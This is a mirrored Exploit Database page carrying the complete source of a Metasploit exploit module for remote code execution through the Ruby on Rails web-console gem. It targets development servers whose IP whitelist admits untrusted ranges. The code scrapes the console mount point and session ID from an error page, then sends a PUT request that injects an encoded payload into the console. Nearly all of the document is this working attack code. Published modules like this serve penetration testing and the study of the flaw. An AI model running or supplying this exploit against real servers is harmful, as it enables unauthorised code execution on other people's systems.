Ruby on Rails – Development Web Console (v2) Code Execution (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Metasploit
  日期： 2016-05-09
• 类别：

  • remote
  平台：

  • ruby
• 来源：https://www.exploit-db.com/exploits/39792/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Ruby on Rails Development Web Console (v2) Code Execution',
  'Description'=> %q{
  This module exploits a remote code execution feature of the Ruby on Rails
  framework. This feature is exposed if the config.web_console.whitelisted_ips
  setting includes untrusted IP ranges and the web-console gem is enabled.
  },
  'Author' => ['hdm'],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'URL', 'https://github.com/rails/web-console' ]
  ],
  'Platform' => 'ruby',
  'Arch' => ARCH_RUBY,
  'Privileged' => false,
  'Targets'=> [ ['Automatic', {} ] ],
  'DefaultOptions' => { 'PrependFork' => true },
  'DisclosureDate' => 'May 2 2016',
  'DefaultTarget' => 0))
  
  register_options(
  [
  Opt::RPORT(3000),
  OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
  ], self.class)
  end
  
  #
  # Identify the web console path and session ID, then inject code with it
  #
  def exploit
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path),
  'method'=> 'GET'
  }, 25)
  
  unless res
  print_error("Error: No response requesting #{datastore['TARGETURI']}")
  return
  end
  
  unless res.body.to_s =~ /data-mount-point='([^']+)'/
  if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
  print_error('Error: The web console is either disabled or you are not in the whitelisted scope')
  else
  print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
  end
  return
  end
  
  console_path = normalize_uri($1, 'repl_sessions')
  
  unless res.body.to_s =~ /data-session-id='([^']+)'/
  print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
  return
  end
  
  session_id = $1
  
  print_status("Sending payload to #{console_path}/#{session_id}")
  res = send_request_cgi({
  'uri' => normalize_uri(console_path, session_id),
  'method'=> 'PUT',
  'headers' => {
  'Accept' => 'application/vnd.web-console.v2',
  'X-Requested-With' => 'XMLHttpRequest'
  },
  'vars_post' => {
  'input' => payload.encoded
  }
  }, 25)
  end
  end